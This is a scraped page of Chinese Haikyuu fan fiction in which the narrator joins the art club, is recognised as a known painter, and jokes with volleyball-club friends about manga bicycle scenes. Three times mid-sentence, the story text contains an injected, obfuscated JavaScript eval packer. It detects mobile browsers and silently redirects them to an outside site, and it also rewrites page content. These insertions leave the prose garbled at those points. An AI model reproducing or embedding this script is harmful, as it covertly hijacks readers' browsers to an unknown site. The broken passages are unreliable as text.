跑什么? 总之,这个并不平静地周末很快过去,时间来到周一。 影山对排球的认真程度超过任何人任何事,只要是能打排球,他必定会拿出百分百的慎重来对待,包括在尚未温暖起来的春天进行辛苦的晨训。 他脖子上依旧围着蓝色的围巾,在校门口意外碰见了同样来的很早的日向翔阳,两个人沉默地对视一眼,随后一个推着自行车,一个按住自己的书包,开始了一段莫名其妙的赛跑。 最后当然是没有“负重”的影山赢了,日向翔阳推着自行车多少有些不方便。 这种小比赛只是开胃前菜。 两个人一旦遇上,不对付的性格让他们做什么都要一较高下,比如说换衣服的速度、到体育馆里头的先后、推排球车的快慢、以及自垫排球的个数。 几轮比赛下来有输有赢,把两个少年都累得不行。 菅原孝支对此表示:“真好啊,年轻就是有活力啊,哈哈。” 田中龙之介无奈摇头:“这样浪费体力,待会儿训练还有他们受的。” 泽村大地微笑:“那要是待会儿比不过影山和日向,我们就再加一组练习吧,正好多练练体力。” 田中龙之介:“O口O!” 月岛萤和山口忠两个人是踩点来的。 影山余光看到他俩,他抛下了咬着后槽牙在和他比赛对墙垫球的日向,视线在两个人身边转悠,甚至连身后都转了一圈。 没有看到预想之中的那个身影,影山挠了挠头,问:“桃沢呢?” 月岛萤冷漠扫他一眼:“去教室了。” 影山疑惑:“她不来社团吗?” 月岛萤:“……” 他本来就烦,不讨喜的家伙问题还那么多,月岛萤耐心告罄,留下一句“她又不是排球部的人”,便先一步走进了体育馆。 只留下影山一个人,一脸懵地站在原地。 山口忠无奈地叹了口气,但他并不会因为月岛萤对别人态度不好就擅自做主替月岛萤道歉,而是说:“小桃没有写排球部的社团申请书,她和我们说,还是想去绘画社看看。” 影山:“……” 友谊的小船。 翻了。 14.十四条鱼 没错,我最终还是给绘画社的社长递了申请书。 自上次暑假我跟着月岛萤他们去看了一回他们自己社团组织的小比赛后,我隐隐有所意识,阿月和小忠已经不是以前做什么需要三个人一起的小屁孩了。 我又不会打排球,也不会照顾人,在旁边看着看着就忍不住想拿出平板开始写写画画,到最后还获得了一个“百分百用头接排球”的称号。 实际上也没有到百分百的程度,但就是被调侃成了“百分百”。 既然去那里又不像清水洁子一样能帮上什么忙,最后还是会忍不住开始摸鱼,还不如直接一点,去绘画社贡献一些业绩指标呢。 我如此想着。 尝试一下吧。 宫城县的人好像都挺好相处的。 哦,影山除外。 入学乌野高中的第二周,我自己都不敢相信我居然离开了两位亲亲幼驯染,独自前往了绘画社完成入社手续。 令我安心的是,绘画社的社长岛崎是一个短发的漂亮学姐,五官秀丽,性格柔和,脸上总是带着令人心生好感的浅笑,说话也轻轻柔柔的,自带一种韵律感。 绘画社的活动室就是学校其中一间美术教室,岛崎学姐带我去的时候那里已经有很多同学在了,三个两个的把画架摆在一起画画,有的画的是石膏,有的画的是水彩,有的画的是静物素描,种类还挺多。 “这些学妹学弟都是本学期新加入绘画社的成员,今天是社团活动第一天,要对各位的水平进行摸底,画完之后在左下角写上自己的名字即可,形式不限。” 岛崎学姐和我解释:“以前并不会采用这种方式,只不过最近有一场比赛,截止时间在下月中旬,或许在新生之中有技艺高超者,我们也想给学弟学妹们一个机会。” 提前这么久做准备,看样子至少是个县级比赛,这样的话,也许会和学分以及奖学金挂钩呢。 我站在画架前,偷偷看了一眼在旁边微笑站着的学姐。 岛崎学姐歪歪头:“怎么了桃沢?” “啊,没……” “不用有心理负担,这次只是摸底而已,绘画社欢迎任何一位热爱绘画的孩子,即使技术欠佳,之后的社团活动中也能够获得老师以及学姐学长的指导哦。” 岛崎似乎误认为我很不好意思再人前展示自己拙劣的画技。 我摸了摸鼻子,还是拿起了铅笔,打算从我自己的素材库里找一幅简单一些的素描风景来画。 素描可以说是绘画的基础,也是一种十分重要的艺术形式。 它注重线条表现方式,以线条的粗细轻重来描述物体的明暗深浅,并且不须顾虑物体细节的色调色值,画面借由明暗光影的衬托来突显主题。 大多数画家在绘画一幅油画或壁画之前,会先绘画雏型,而这个简单几笔的雏型画,便是素描,每个绘画人最开始总是离不开素描那几个几何图形。 真是别说,我那会儿真的看到正方形、球体、棱柱棱锥穿插体都想吐。 后来是看到大卫和海盗就想吐。 时间流逝,太阳从金黄变成橙红,半挂在地平线上,美术教室里已经亮了灯,只剩下包括我在内的三个人还在继续画。 我觉得差不多了,后退几步看了看,又左修修右修修,直到月岛萤出现在教室门口,上半身子倚着门框,屈起手指敲了敲木门。 山口忠也从旁边探出个头来,喊我:“小桃,回家了哦,还没好吗?” “好了好了,好了。”我悬着手再补几笔,这才放下橡皮和铅笔,看向他们:“你们训练就结束了吗?今天好快。” “是你画起画来就完全不觉得时间过去吧,我们已经练了很久了。”月岛萤双手插在口袋里走进来,停在我的画架边打量了几眼我的画,问道:“黑白的?为什么不画油画?你这样能入社吗?” 我张了张嘴,下意识就想和他说我的神仙排线,神仙构图,和神仙透视。 最后这些话在嘴里转了一圈,还是啧了一声,抬起手就要锤他:“这幅图比油画难!和你这种艺术白痴简直没话讲。” 月岛萤脸色一黑,往旁边躲:“别碰我,你手还没洗。” 我的手悬停在他黑色的袖子上,不满地鼓起了腮帮子,瞪他一眼,还是老老实实去洗手。 切,碰一下又怎么样,反正男生的校服就是黑黢黢的,就算抹了铅笔灰也完全看不出来。 小气鬼! 手上的铅笔灰累积了厚厚一层,我花了点时间才把手搓干净。 磨蹭了这么些时间,挂在地平线上的太阳又往下坠了坠,只留下少部分的金边还镶在上头,天色因此暗淡不少,使得一轮圆月更为显眼。 我们三个一路从教学楼穿过已经亮了大灯的操场,来到已经闭合了一半的校门口。 原本我是在和好闺闺们聊着今天发生的事情,聊着聊着,余光之中,我注意到校门口似乎立着一个身形高挑的背影,只不过天太暗,这一眼我并没有看出对方是谁。 这么晚了,怎么还有人没回家?在等谁吗? 因为好奇,我又多往那边瞧了一眼,结果刚好和黑发少年对上视线,在看清楚面容时猛地一怔,疑惑地再次定睛仔细查看。 没错,是影山。 怪了事了,他为什么还在这里? 还没来得及产生疑问,黑发少年便先一步朝我们走来,与我们汇合,甚至还用他那张没什么表情变化的脸,说出了像是抱怨的话:“好慢。” 月岛萤:“嫌慢就自己一个人走,没人强迫你在这里等。” 影山沉默地偏移了视线,居然看向了我。 月岛萤敏锐地一秒察觉到不对,顺着他的视线,也看向了我。 我莫名被两双眼睛注视着,慢半拍指着自己,满脸疑惑。 山口忠抬手扶额,开始熟练熄火:“别站在这里了,我们还是先走吧?现在已经很晚了,再不回家的话,我妈妈都要给我打电话了。” 大家都没有意见,于是在一种僵硬又诡异的气氛当中,我们像昨天一样一起同行,但谁也没有开口。 就连山口忠好几次想缓和氛围,想和我搭话,最后都因为不敢开口而继续沉默下去。 就这样艰难地走出一段距离…… 影山像是突然想到什么,直接扭头看我,开口问:“桃沢,明天和青叶城西的交流赛,你要来看吗?” 被点名的我听清楚他说话的内容后背一凉,顿时冷汗布满额头。 余光扫过黑着脸的月岛萤,我嘴里的音素烫嘴,结结巴巴地回答:“这、这个啊,这个,我,这个这个,我、我就不去了吧,我不去了。” 哇靠,好吓人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638215|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好恐怖!怎么突然找我这种说话啊?这家伙完全不看空气的吗? 你们三个是队友,我们三个是幼染驯,但我们两个是什么?名不正言不顺的,别找我说话啊! “为什么?”他疑问道:“你和月岛关系那么好,都不去看他比赛吗?” “什!……喂,你这话说的就……” 我这次不是后背一凉,是觉得死兆星在头顶闪闪发光。 在?为什么害我? 月岛萤冷笑一声,不冷不热地说:“是啊,我也想知道,桃沢,我和你关系那么好,连比赛都不来看吗?” “……” 哈。 完蛋咯~ 如果“不和月岛萤一起晨跑”、“不和月岛萤参加同一个社团”和“不去看月岛萤比赛”这三件事情发生在不同的时期或者是不同时间段,以月岛萤的脾气,他最多是有些不高兴,但他会尊重我的想法,任由我去做我自己喜欢的事情。 毕竟他只是想关心我,而不是想束缚我。 而现在这三件事情在同一天发生,负面因子就会像叠“buff”一样堆叠在一起,让他开始敏感地产生怀疑。 不能怪他,因为就连好脾气的小忠一天之内遭到友谊的连续翻船,他都会很低沉地认为是不是自己太烦,管得太多,感情是不是淡了,是不是我不需要这样的陪伴了。 这种情绪放在月岛萤上,则会产生许些的恼羞成怒,当时还会生气地觉得我不知好歹,冷漠地想着以后都不要管我了,最后冷静下来又会觉得难过和失落。 可我的想法只是很简单,即使我不愿意和幼染驯们分开,整个学校我的朋友也就只有这么两个,在没有加入社团的情况下,我只是个局外人,不管是一起运动也好,社团时间跑去排球部也好,跟去看内部比赛也好,都是于理不合。 而我也没办法认同阿月“只是个社团活动”这种观点,随意又敷衍地当个排球部的吉祥物。 怎么可能只看着美丽的清水学姐一个人任劳任怨地做着后勤,而我在旁边翘着二郎腿摸鱼啊!良心会很痛诶! 和母亲说的一样,人各有志,我们终将是不同的,不可能每时每刻都在一起。 原来是我胆小固执,现实摆在眼前,我不得不做出一些改变。 我哄了月岛萤一路,这才把人哄住,走到十字路口分别时,好歹他主动和我说了明天见。 平常是我很喜欢和朋友犯点小贱,可真让人生气了,我觉得我是有责任的。 我脸上保持着装出来的乖巧笑容,老实到两个少年转身走了都还在挥手。 等他们背影消失在视线内,我脸色一变,双手捏住影山的脸颊,咬牙切齿道:“我说影山,你不会读空气吗?我们几个人走在一起已经够尴尬的了,为什么你不去和队友说些友情啊羁绊啊之类的话题,反而要来和我搭话啊!” “为什么走在一起会尴尬?”影山迷茫地看着我,被我的手捏得说话都口齿不清:“而且,我觉得我和月岛还没有到存在友情和羁绊的地步,我只是想问你明天看不看比赛而已。” 他的表情不像是在说谎。 这下轮到我开始迷茫了。 我坚信能把二传这个位置打好的人都不是笨蛋。 难道……影山是个例外? …… 笑一下蒜了。 15.十五条鱼 翌日,周二。 可能因为放学就要跟着好伙伴们去往县内数一数二的排球名校打比赛,山口忠一整天都是紧张与兴奋交织着,反观月岛萤,他好像没有什么情绪起伏,就好像放学后只是在做一件再平常不过的小事,让山口忠都有些不好意思多提比赛的事情。 午休的时候我去找学姐,路上碰见了影山,以及跟影山待在一起的日向翔阳。 活泼的橘发小少年还记得我,他胳膊伸得长长的,十分热情地和我挥手。 日向翔阳充满朝气的模样让我眼前一亮,我立刻笑得眯起眼睛,一边往他那边走,一边回应道:“中午好,日向同学,已经吃完午餐了吗?” “嗯!今天的饭菜特别特别好吃,一下课我就吃完了!”日向翔阳用力点点头,又问:“桃沢往这个方向走,要去哪里?” “我去三年级找我们社长,说找我有点事。” “好厉害!昨天才加入社团,今天就被社长看重了吗!”小少年眼睛里星光闪闪,因为身高的缘故,甚至还是用带点仰视的视角看着我,脸上像是写满崇拜。 我立马感觉被什么东西击中,捂住自己的胸口,视线偏移到别处,嘴角控制不住地上扬,语气都开始飘忽:“哈~这有什么的~很简单就能做到啦~” 日向翔阳更是发出了赞扬的惊叹:“哇——” 虽然不知道他这种反应到底是真的认为我很厉害,还是只是一种恭维,但不得不说,小少年这幅模样确实让我确切的感觉到了快乐,还产生了他特别可爱的想法。 让我想起了之前高中里也有一个活泼的学长。 单纯,热情,有一颗正义勇敢的心。 我忍不住从口袋里拿出一把糖果,低头挑了一颗橙子味的递给他:“我要先走啦,这个请你吃。” 他掌心朝上,用捧着的姿势看着小小的橘色糖果落入掌心,然后露出大大的笑容和我道谢:“谢谢你,桃沢。” “……” 啊。 这是何等的…… 这是何等的可爱。 好像在家里养一只……啊,但是这样的话犯法了吧? 我被日向翔阳可爱到在脑袋里阴暗爬行,还在回味刚刚那个笑容,就看到影山那张阴沉的脸把日向翔阳给撞开,挤满了我的视线。 “……” 我下意识后退了一步。 好可怕,小太阳大变淤泥沼泽。 被撞开的日向翔阳捂着被装疼的地方生气地在喊着“你干什么啊影山!”,而被控诉的影山本人充耳不闻,他嘴角向下,用那一张凶脸俯视我,看了我好半晌。 他的冷脸攻击性实在是太强,我又后退了一步,颇为防备地抬头回应他的视线:“怎么了?” 黑发少年嘴角抿了抿,他扫了一眼日向翔阳掌心里的糖果,随即又迅速看向我,说:“桃沢……我们两个才是朋友吧?” 我说:“我们两个是邻居。” 他问:“邻居和朋友有什么区别?” “邻居是成为朋友的充分不必要条件。” “……?”影山凶巴巴的脸上出现了片刻迷茫。 我知道他肯定没懂我委婉的拒绝,但是没关系,我只是不想和麻烦的人成为朋友,而这种只是单纯使用在低血糖症状出现时的小糖果,就算是邻居也可以分享给他。 从口袋里随意摸出一小颗,我笑着放在他掌心里:“开玩笑的,给你吃。” 影山拿到了糖果,那种别扭的紧绷感一松,神情似乎也满意不少。 我自觉在这里耽搁了太多时间,再继续聊下去可能午休就结束了,我立刻向两位少年道别,继续往高年级教学楼的方向走去。 日向翔阳在旁边围观了全过程,表情有些一言难尽。 他问影山:“影山,桃沢是不是讨厌你啊?” 黑发少年皱着眉头,恶狠狠地瞪他:“才没有。” “我总感觉……”日向翔阳抵着下巴,回想着女生面对自己和面对影山截然不同的态度,果然还是觉得不对劲,于是又问:“影山你在进入高中之前就和桃沢认识了吧?认识很久了吗?” “是去年夏天的时候认识的。” “诶!这么久吗!” “虽然很久,但是见面的次数,大概是一个月一次吧?”影山仔细回忆,“桃沢好像不经常出门。” “即使是这样也有点太离谱了,你们是邻居,上下学不会经常遇见吗?” “……她那会儿好像是休学中。” “休学?为什么?” “上次她有和我提过,是身体不好才不得不休学的。” “诶……”日向翔阳很少碰见体弱到不得不休学的人,在他的印象里,身边的朋友,就算是文学少女的类型,身体都还算不错,甚至能扛着锄头在做实践作业的时候去田里锄地。 连学校都去不了,一定是大病了一场。 他点点头,又问:“那这样的话,你和桃沢是怎么认识的?” 影山闭上眼睛沉思了片刻,然后用最朴质的描述,像是记流水账一般将两个人遇见和交友的过程,一股脑地全都给倒了出来。 于是日向翔阳更是惊讶地张大了嘴巴。 他结结巴巴的复述重点:“所、所以,你在桃沢养病期间,让她不小心没从河堤的坡上摔了下去?” “在她外出写生的时候,排球砸到她的身上,让她倒在了绿化带里?” “自己生病的时候意外被桃沢发现,她扶你回去,你却不小心传染了感冒给她,让她第二天就发了高烧?” “出成绩那天碰上外出去买新画板的桃沢,然后抢了她的新画板开始在河堤上玩滑滑梯,把她一起带下了长坡?” “甚至昨天放学回去还在挑拨桃沢和月岛的关系!” 影山不爽地反驳他:“我没有挑拨他们的关系,我只是想作为朋友询问桃沢来不来看比赛。青叶城西作为宫城县数一数二的排球强校,是允许外校的学生进去参观的。” 日向翔阳朝他投去无语地视线:“就算是这样吧,我觉得你还是少往桃沢面前凑。” “为什么?我们明明相处的不错。” 影山抬了抬手,掌心里还躺着那颗圆润的白色糖果:“她还给了我友情的证明,还是牛奶味。” 日向翔阳无力:“不……” 桃沢给他糖的时候,还有筛选过,最后选了一个和他发色一样的橘色,可是她给影山糖果的时候,就只是随便捞了一个出来。 而且! 影山飞雄! 你忘记了吗!这是你和人家要的! 影山像是突然醒悟了什么,他防备地看着日向翔阳,警惕道:“你不要挑拨我和桃沢的关系。” “你……”日向翔阳面色复杂,嘴巴张张合合,最后还是什么都没说,叹了口气,颇为同情地拍了拍影山的肩膀。 傻点挺好的,没有那么多的烦恼。 等我赶到岛崎学姐那边,剧烈及午休结束还有四十多分钟。 时间上有点紧,岛崎学姐也省略了很多铺垫。 她双手叠放在胸前,那双总是温柔眯起的眼睛中暗藏着兴奋,深呼吸酝酿了好一会儿,才定定地看着我,用肯定的语气问我: “桃沢学妹,你是不是在东京开了一家画室?” “那家画室的名字,叫做‘春五月’。” 我一愣,突然从离东京很远的地方,从并不熟悉的人口中听到“春五月”的名字,我恍惚了好半晌,末了,才舔了舔干燥的嘴唇,打算否认:“那不是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645429|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你先别急着回答我,我知道美咲小姐一直在保护画室画家的信息,很少让那位年轻的画家出现在大众视野,但是!” 岛崎学姐拿出手机,调出照片——那是我昨天那张素描的背面,上面写着一个花体字的桃,下面写着作品完成的日期。 “虽然只有一个字,可我很肯定这个字迹,就是‘春五月’那位画家的签名字迹!” 我沉默下来,一时有些不知所措。 要承认吗?还是要死不承认呢?我会被怎样对待呢? 曾经的作品总是无人欣赏,画展上的品鉴家总是能找出许多不足,我的画作价值极低,就算有亲笔签名,也只是一个毫无意义的印记。直到妈妈的名声大噪,不少人光顾春五月找她做画,品鉴家们对放在春五月里的画作又话风一转,找出了许多优点,对此夸夸其谈。 我挨过不少骂,也收到过不少称赞,两极分化严重,我也对自己的作品开始迷茫起来。 而越是迷茫,越是在意,下笔就越发空洞,乱如麻线。 岛崎学姐认识我的字迹,她一定看过我早期的作品,我不知道该不该承认,这会儿只能安静地看着她。 “你的基本功好扎实!我见过你画的这幅例图,简直就像是把例图从屏幕上扒下来似的!”岛崎学姐握住我的手,表情生动而鲜活:“还记得你曾经画过一幅肖像吗?是一个笑得很开心的漂亮小女孩,刻画的特别细腻,很有感染力,我那会儿真的很想把它买下来,只可惜我存的钱不够。” 我记得,那是在盂兰盆节时,我在路上遇见的一个七岁小女孩。 她的身上穿着向日葵印花的浴衣,头发上也戴着向日葵样式的发簪,门牙缺了一颗,可笑起来依旧像个小娃娃,可漂亮了。 以她为原型,我画了这样一幅肖像画,在画室放了一短时间后,被一对中年夫妻买走,那幅画给了他们怎样的慰藉,他们又从那幅画中看到了什么,这些我都不知道,但我想,他们一定从画中获得了他们需要的东西。 “等我把所有的压岁钱攒起来再次去到春五月,那幅画已经被买走了,我还难过了很久。”岛崎学姐朝我笑着,继续说:“不过我买了另外一幅,不知道你还记不记得,是从花丛中升起的朝阳,你给它取名叫《春朝》。” 记得,曾经失眠,凌晨坐在画室里发呆,正好玻璃房外的风景美不胜收,心情突然就变得很不错,于是就画出了那副《春朝》。 ……想不到学姐居然对那个时期的我这么关注,有点受宠若惊了。 我一句话都还没开口,岛崎学姐就如同倒豆子一般拉着我说了许多话,我承不承认自己的身份对她来说也不重要,她已经通过作品有了自己的判断。 在午休结束的最后十分钟里,学姐郑重地给我委派了任务:“桃沢学妹,你的画技在我们社团已经超出了其他人一大截,可能让职业画家去参加这种比赛是有些欺负人了,可这次比赛很盛大,县内的优秀作品最后会汇总到艺术厅做展览,只要被选中就加学分,你一定要参加,为我们学校拿回荣誉。” 我被学姐说的心潮澎湃,正打算应下,却想到了一个很关键的问题:“这个比赛,每个学校有几个名额?” “两个。” “我一个,另外一个人选决定好了吗?” 如果另外一个选手是个不好相处的人,我怕对方会功利性太强,破坏我的参赛作品,从而解决一个竞争对手……不怪我多疑,在线下比赛中,这种事情不是没发生过。 岛崎学姐抬头看我,温柔地笑:“是我。” 啊。 如果是岛崎学姐的话…… “我们一起加油吧!偶像!” “……好。” 如果是岛崎学姐的话!当然没问题了! 16.十六条鱼 在决定参赛的当天,我就和学姐坐在画室里讨论比赛的主题,正好闺闺们要去青叶城西训练赛,等他们比赛回来我这里也差不多结束。 这次的比赛以“繁花”为主题创作,可以随意发挥,但作品必须原创。岛崎学姐在开学前得到这一消息时就在构思,经过两个多星期的沉淀已经有了不少很不错的想法。 我听得挺认真的,并且还帮她定了初稿的构图。 至于我自己的……我不想单纯画花,繁花的表现形式有很多,不一定要拘束在植物上,和别人画的一样,作品千篇一律,未免也有些太无聊了。 和学姐一直交流到很晚,我抬头一看窗外,天空都被夕阳染成了橘红色,这个时间,去青叶城西比赛的乌野排球部应该也要回来了。 我摸出手机看了一眼,屏幕上果然出现了山口忠给我发的消息,于是我对学姐说:“岛崎学姐,今天的画就改到这里吧,明天我们再继续。” 她眯起眼睛朝我笑了笑,“好,今天辛苦你了,偶像。” 带着欣赏的语调让我忍不住耳朵发热,我干咳一声,“不算辛苦,能帮到学姐就好。” “明天见。” “明天见。” 我告别学姐,拎起自己的书包,一路小跑着跑出了画室。 这个时间点学校里大部分的学生都已经回去了,我们这栋教学楼平常来的人就少,这个时间点我以为外面应该不会有谁在了,却没想到一出教室就差点撞到人。 对方身上整齐地穿着乌野高校的黑色校服,长相秀气,鼻梁上戴着一副黑框眼镜。 我下意识道了歉,男生只是很平淡地看了我一眼,推了推下滑的眼睛,侧身越过我走进了画室。 是漠视甚至隐隐带有一些敌意的态度。 我站在原地停顿几秒,回想自己的记忆里确实不存在这样一张脸,也就并没有把他放在心上,转身就把这件事情抛在了脑后,迅速跑下教学楼,来到了离教学楼并不远的体育馆。 小忠是十五分钟前给我发的消息,那会儿我还在帮岛崎学姐改画,没有看见手机,不过他没有直接打电话过来,也正说明他们那边还需要一些时间才能结束。 果然,学校的体育馆还亮着灯,入口处的铁门虚掩着,一靠近还能听到从里面传来的说话声。 看来今天他们的战况激烈,这一时半会儿还说不完呢。 我按着裙角往木板铺成的走廊上一坐,一只手撑着下巴,另一只手点开line看看有没有自己漏掉的信息。 [梦野:各位,对男女主角放学后一起共乘自行车的情节有什么想法?] 出现了,是每时每刻都在想着少女漫画情节发展的梦野咲子老师。 [小雪:自行车play?] ……不是,自行车play是什么鬼东西啊? [梦野:不是很明白呢。] [小雪:就是在自行车上运动然后掐着对方的脖子一边用力,一边羞辱对方连在家的资格都没有的情节。] [梦野:……] 啊啊啊啊啊小雪你在和我们唯一纯洁的正牌少女漫画大师说什么肮脏的东西啊!!! [小雪:或者在人来人往的大街,让对方坐在自行车上,用身体挡住别人的视线,看似在好好说话,实际上却在用手指做坏事……] [小雪:嗯,那种害怕被人发现只能紧紧依靠着使坏者身体的动作,以及羞愤却控制不住自己想要更多的表情一定很有趣吧。] 我立即打字阻止:[雪君,这种情节让梦野老师画出来会出大问题的。] [小雪:啊,小桃终于出现了。] [小雪:现在这个时候已经开学了吧?新学校如何?] [蜜桃:现在是开学第二周,给我感觉还不错,大家性格很好耶。] [小雪:来自大人的提醒,看似干净的池塘底部会沉积着肮脏的泥巴,而淤泥之中也能盛开洁白的莲花。] [梦野:非常成熟的大人的发言,原来雪君脑袋里面是可以有正经事的。] [小雪:在漫画上我也是认真的。] [梦野:……] [梦野:好的,所以小桃关于自行车有什么不错的建议吗?] 我想了想,暂且先将雪君给我的提示放一放,转而回答:[男生在前面骑车,女生坐在自行车后座,搂住男生的腰制造肢体接触,感受青春的美好?] [梦野:和我同学的预想一样呢,但自行车后面不能坐人,要遵守法律。] [蜜桃:是哦,那故意说自己的自行车坏了,留在学校,和另一方走路回家制造独处机会的小浪漫呢?] [梦野:虽然很好,可就是因为家住的远所以才要骑自行车吧?] [蜜桃:额,那,骑家庭自行车呢?那种可以并排一起骑的。] [梦野:嘶。] [蜜桃:还有还有,自行车后座不能坐人的话,那车龙头前的篮子呢?感觉这样也会发生很浪漫的事情呢。] [梦野:……这对吗?] [小雪:浪漫的事情是指女生把车头上的车篮子压塌,最后给男主赔一辆自行车吗?] [蜜桃:男主怎么会让女主赔自行车!] [小雪:不赔?女主过来搞碰瓷的?] 我…… 喂!这明明就是一个少女漫画,为什么一定非要扯上赔偿,虽然确实是弄坏了别人的东西就得赔,但是总感觉在甜甜的恋爱氛围中,用脸红心跳的表情去谈赔偿会很奇怪。 难道是我不懂现在恋爱的潮流了吗? 我苦大仇深地盯着屏幕,总感觉有哪里不对。 这个时候,身后的铁门被推开,月岛萤第一个从体育馆出来,他一眼就看见我撑着脑袋不知道在想什么,但他有直觉,准没好事。 我侧头一看是他,于是立刻问:“阿月,如果我弄坏了你的自行车,你会让我赔吗?” 月岛萤:“会。” “你不会温柔地摸着我的头,对我说没关系,正好想换一辆新自行车吗?” “不好意思,你在说我?” 我失魂落魄地抵住自己的额头。 居然真的是先赔偿。 不,原本正常来说,就是应该谁弄坏的谁赔,只不过是因为被恋爱的粉红氛围给蒙蔽了双眼,才认为不赔偿才是正确的。 可是……可是!! 为什么要在少女漫画里面谈赔偿啊! 我不能接受,我不能接受! 山口忠看我脑袋都快冒烟了,顿时瞪大眼睛,扶住我的肩膀,震声道:“振作一点!小桃!通过赔偿来推进恋爱关系的情节也是有的,男女主角都有正常的思维方式,难道不是一段健康的恋爱关系吗!” 听到山口忠的话,我眼前一亮,豁然开朗。 没错,是的,是这样的。 弄坏了别人的东西,女主主动提出赔偿才是正常的。 [抱歉,X君,不小心弄坏了你的自行车……我会买一个一模一样的新自行车给你的……] [没关系,N酱,虽然是妈妈留给我的……但它已经太久了,如今它现在完成了自己的使命,坏的也算值得。] [可……] [比起这个,我更想知道,N酱,你今天玩的开心吗?] [嗯!X君,我从来没有感觉这么开心过!] [那样就好了,我喜欢看N酱的笑容。] [X君……] 女主十分动容,并和男主约下了一个时间一起去逛街,最后赔给了他一辆新的自行车。 或者女主偷偷买了一辆自行车,恰好过几天就是男主生日,她将自行车当做生日礼物送给了男主。 完美的Happy Ending! 在脑内循环了一个自认为不错的情节,我终于圆满了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649934|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田中龙之介挠挠头,不明所以地看着闹成一团的学弟学妹,问旁边的菅原孝支:“是我看不懂年轻人的潮流了吗?这段对话没头没尾的,他们怎么能交流得这么顺利?” 菅原孝支抵着下巴试图理解:“不知道……而且月岛和山口不是每天跟桃沢走路上学吗?怎么会有自行车?” 日向翔阳眨眨眼睛,举手:“我有自行车。” 影山:“笨蛋,这一听就和你没有关系吧,别瞎插嘴。” 日向翔阳:“……” 他不满地瘪起嘴。 没有在体育馆门口停留很久,大家换好校服,下一步就是互相道别,各回各家各找各妈。 橘发少年喜欢热闹,见我们四个其乐融融地往同一个方向走,于是迅速从车棚推出了自己的自行车,十分自然地融入到了人群之中,变成了“放学结伴回家小队”的第五人。 他是个活泼外向,有什么疑惑就喜欢问什么的性格,我对他的印象也很不错,走着走着,我们五个人的队伍就从“日向、影山、月岛、我、山口”的顺序,变成了“影山、月岛、山口、我、日向”的奇妙组合。 我甚至都想不起来我是怎么从山口的左边走到山口的右边的,好像就是很自然的一个走位,我莫名其妙就和日向站在一起了。 他用非常生动的语言将整个下午发生的事情和我叙述了一遍,中间好几次想配上动作,一时间忘了自己在推车,还差点连人带车倒下,幸好他自己足够灵活,很快就能稳住重心。 最后是月岛萤看不下去了,他出声道:“谁要听你说这些无聊的事情啊,她对排球又不感兴趣。” 日向翔阳一愣,剩下的尽数咽了回去,换做是平常他肯定会反驳一些“怎么可能会有人对排球不感兴趣!”这种硬撑的话,但是…… 他偷偷看我。 “我听啊,我都有在听。”我说:“日向说的很有意思,我也对你们下午发生的事情很好奇。” 日向翔阳暗自松了一口气,立马和我统一战线:“就是就是。” 月岛萤半眯着眼睛看着我,好像在无语,又好像在威胁什么。 我脑袋里立刻警铃大作,迅速做出解释:“就算日向不说,小忠也会和我分享的,就算我不在你们身边,我也会想知道你们遇到了什么人什么事,我很关心你们嘛。” 这个解释似乎让月岛萤心情回转了一些。 他冷哼一声,先一步挪开视线:“随你便。” 山口忠左看看阿月,又看看我,补了一句:“说起来,小桃在绘画社发生了什么好玩的事情吗?” 我摇摇头:“就是聊了聊之后的比赛,定了初稿,不是什么有趣的事情。” 确实不是什么有趣的事情,真要细说起来,可能还会有些枯燥。 又一路聊了些别的,日向翔阳第一个到转弯的路口,他蹬着自行车往前蹿出几米,而后又朝我们挥挥手道别,这才迅速没入只有零星几盏路灯的街道。 月岛萤和山口忠在十字路口也和我们分开,当然,阿月还是没给影山好脸色,只有山口忠满面笑容地和我们挥手。 路上又剩下了我和影山。 我们两个没什么共同话题,也都不是会找话题的人,一时间都在沉默。 过了好一会儿,他像是想起什么似的问我:“你在体育馆问的关于自行车的事情,那个是什么意思?” 我没想到他会问我大家都没有很在意的一件小事,有些意外,慢半拍才解释:“我朋友在想少女漫画的情节。” “……少女漫画?” “嗯,但是设想了很多情节都似乎没办法实现。”我抵着下巴思考:“要是能实验一下就好了。” 我还是觉得坐在车篮子里可以,挺浪漫的说是。 影山说:“我可以帮你。” “哦。”我先是应了一声,然后才反应过来他在说什么,迟疑地抬头:“……哈??” 17.十七条鱼 第二天,我推了一辆自行车到校。 上学路上月岛萤还在奇怪我为什么会推车去,还是一辆新车,我回答说影山今天答应帮我尝试尝试少女漫画情节的设想,所以我连夜买了一辆自行车,专门用来做实验。 哦,还有家庭版双人自行车我也找好了,大概午休的时候就能送到学校。 